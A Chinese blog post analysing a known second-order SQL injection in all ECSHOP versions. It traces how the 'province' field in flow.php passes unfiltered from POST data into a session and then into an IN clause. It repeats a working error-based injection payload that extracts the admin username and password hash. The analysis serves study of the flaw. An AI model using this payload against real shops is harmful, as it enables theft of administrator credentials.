ECSHOP全版本注入漏洞分析

初学PHP,看了两天语法,找了ecshop全版本注入漏洞来分析,以小菜的角度沿着大牛的思路来前进,有代码审计的大牛看到就请笑一笑就够了,
当然如果有错误之处,请指教!!!

ECSHOP全版本注入漏洞(二次注入)  由y35u大牛于2012-12-28 22:42提交至乌云,原文连接http://www.wooyun.org/bugs/wooyun-2010-016651,
后由L.N.牛  2013/1/10 发布漏洞分析文章,原文连接http://lanu.sinaapp.com/0day/124.html,小菜初学完全是画蛇添足,验证所思所想的,求指点,求进步!!!

首先看大牛给出的exp:

把任意商品加入购物车在填写配送地址那一页,有地区选择

flow.php?step=consignee&direct_shopping=1

其中POST数据如下

  1. province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

从EXP可以看出漏洞文件flow.php,//执行step=consignee代码,可以看到province参数没过滤,我们在flow.php找到关键代码
flow.php - 375行:
 

$consignee = array(
        'address_id'    => empty($_POST['address_id']) ? 0  : intval($_POST['address_id']),
        'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
        'country'       => empty($_POST['country'])    ? '' : $_POST['country'],
        'province'      => empty($_POST['province'])   ? '' : $_POST['province'],
        'city'          => empty($_POST['city'])       ? '' : $_POST['city'],
        'district'      => empty($_POST['district'])   ? '' : $_POST['district'],
        'email'         => empty($_POST['email'])      ? '' : $_POST['email'],
        'address'       => empty($_POST['address'])    ? '' : $_POST['address'],
        'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
        'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
        'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
        'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
        'best_time'     => empty($_POST['best_time'])  ? '' : $_POST['best_time'],
    );


从代码可以看到从POST传进来的数据除了address_id进行了intval转换,其它参数都没进行过滤直接放进$consignee 数组里面,我们接下来主要监控$consignee数组的传递,
flow.php - 392行:

  1.    if ($_SESSION['user_id'] > 0)
     
  2.         {
     
  3.             include_once(ROOT_PATH . 'includes/lib_transaction.php');
     
  4.             /* 如果用户已经登录,则保存收货人信息 */
     
  5.             $consignee['user_id'] = $_SESSION['user_id'];
     
  6.             save_consignee($consignee, true);
     
  7.         }

首先进来会判断用户登录没有,因为一但登录,$_SESSION['user_id'] 肯定有值,肯定进入if条件
save_consignee($consignee, true);  //这一段$consignee数组进入save_consignee函数,进去看看,在进去之前我们也明白执行exp后
province等于     3\') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

'号之前的\不是因为我gpc,看位于
includes/init.php 文件第86-100行:

/* 对用户传入的变量进行转义操作。*/

  1. if (!get_magic_quotes_gpc())
     
  2. {
     
  3.     if (!empty($_GET))
     
  4.     {
     
  5.         $_GET  = addslashes_deep($_GET);
     
  6.     }
     
  7.     if (!empty($_POST))
     
  8.     {
     
  9.         $_POST = addslashes_deep($_POST);
     
  10.     }
     

  11.  
  12.     $_COOKIE   = addslashes_deep($_COOKIE);
     
  13.     $_REQUEST  = addslashes_deep($_REQUEST);
     
  14. }

也就是说gpc没开的话,会使用addslashes_deep进行过滤addslashes_deep函数位于includes/lib_base.php,使用addslashes函数过滤值对数组的值也进行过滤,
好了进去明白传进来的值后,进入save_consignee函数看看
includes/lib_transaction.php 516行
 

function save_consignee($consignee, $default=false)
{
    if ($consignee['address_id'] > 0)
    {
        /* 修改地址 */
        $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']." AND `user_id`= '".$_SESSION['user_id']."'");
    }
    else
    {
        /* 添加地址 */
        $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'INSERT');
        $consignee['address_id'] = $GLOBALS['db']->insert_id();
    }

    if ($default)
    {
        /* 保存为用户的默认收货地址 */
        $sql = "UPDATE " . $GLOBALS['ecs']->table('users') .
            " SET address_id = '$consignee[address_id]' WHERE user_id = '$_SESSION[user_id]'";

        $res = $GLOBALS['db']->query($sql);
    }

    return $res !== false;
}


这个函数的作用是判断用户有没有收货地址,有的话就对数据库user_address表的address_id进行更新,没有就把$consignee数组值作为values()的值添加进user_address表,
这个时候因为addslashes函数的作用单引号被转义\' ,导致最后插入user_address表province字段值为3,因为province自动类型为smallint(5),如果传入为1111ssss这样的话,默认取整数,
我们看$consignee数组里面的值还是没改变的,还是

  1. 3\') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

执行完这个函数继续往下看
flow.php -400行:

  1.         /* 保存到session */
  2.         $_SESSION['flow_consignee'] = stripslashes_deep($consignee); 
  3.         ecs_header("Location: flow.php?step=checkout\n"); 
  4.         exit;

经过stripslashes_deep函数把我们的$consignee进行反转义传给 $_SESSION['flow_consignee'],也就是说这时候province的值为

  1. 3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

也就是说只要从$_SESSION['flow_consignee']  这个数组里面取到province值进行数据库操作,我们就能注入,继续往下看
ecs_header("Location: flow.php?step=checkout\n");   //执行step=checkout时代码

在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']);   //关键地方get_consignee函数,我们可以看到
位于includes/lib_order.php 1670行

  1. function get_consignee($user_id) 
  2.     if (isset($_SESSION['flow_consignee'])) 
  3.     { 
  4.         /* 如果存在session,则直接返回session中的收货人信息 */ 
  5.  
  6.         return $_SESSION['flow_consignee']; 
  7.     } 
  8.     else 
  9.     { 
  10.         /* 如果不存在,则取得用户的默认收货人信息 */ 
  11.         $arr = array(); 
  12.  
  13.         if ($user_id > 0) 
  14.         { 
  15.             /* 取默认地址 */
  16.             $sql = "SELECT ua.*".
  17.                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 
  18.                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 
  19.  
  20.             $arr = $GLOBALS['db']->getRow($sql);
  21.         } 
  22.  
  23.         return $arr;
  24.     } 
  25. }

可以看到 判断$_SESSION['flow_consignee']存不存在,我们刚才赋值,所以存着,返回$_SESSION['flow_consignee']里面的值,也就是说

在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']);   //这个时候$consignee 就等于$_SESSION['flow_consignee']
现在我们追踪$consignee数组,继续往下

在flow.php 529行
$region            = array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']);
从$consignee数组里面取值付给$region,接下来继续看
在flow.php 530行
$shipping_list     = available_shipping_list($region);  //把$region数组传到available_shipping_list里面,我们看available_shipping_list函数

位于includes/lib_order.php 79行

  1. function available_shipping_list($region_id_list) 
  2.         //print_r($region_id_list); 
  3.     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 
  4.                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 
  5.             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 
  6.                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 
  7.                 $GLOBALS['ecs']->table('area_region') . ' AS r ' . 
  8.             'WHERE r.region_id ' . db_create_in($region_id_list) . 
  9.             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 
  10.     return $GLOBALS['db']->getAll($sql); 
  11. }

可以看到执行了SQL查询,我们主要看看db_create_in函数里面有没有把我们的province值进行过滤

位于includes/lib_common.php 30行

  1. function db_create_in($item_list, $field_name = '') 
  2.     if (empty($item_list)) 
  3.     { 
  4.         return $field_name . " IN ('') "; 
  5.     } 
  6.     else 
  7.     { 
  8.         if (!is_array($item_list)) 
  9.         { 
  10.             $item_list = explode(',', $item_list); 
  11.         } 
  12.         $item_list = array_unique($item_list); 
  13.         $item_list_tmp = ''; 
  14.         foreach ($item_list AS $item) 
  15.         { 
  16.             if ($item !== '') 
  17.             { 
  18.                 $item_list_tmp .= $item_list_tmp ? ",'$item'" : "'$item'"; 
  19.             } 
  20.         } 
  21.         if (empty($item_list_tmp)) 
  22.         { 
  23.             return $field_name . " IN ('') "; 
  24.         } 
  25.         else 
  26.         { 
  27.             return $field_name . ' IN (' . $item_list_tmp . ') '; 
  28.         } 
  29.     } 
  30. }
可以看到这个函数只不过是把我们传来的值构造成IN语句,没过滤,那么这时候就完全可以注入了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值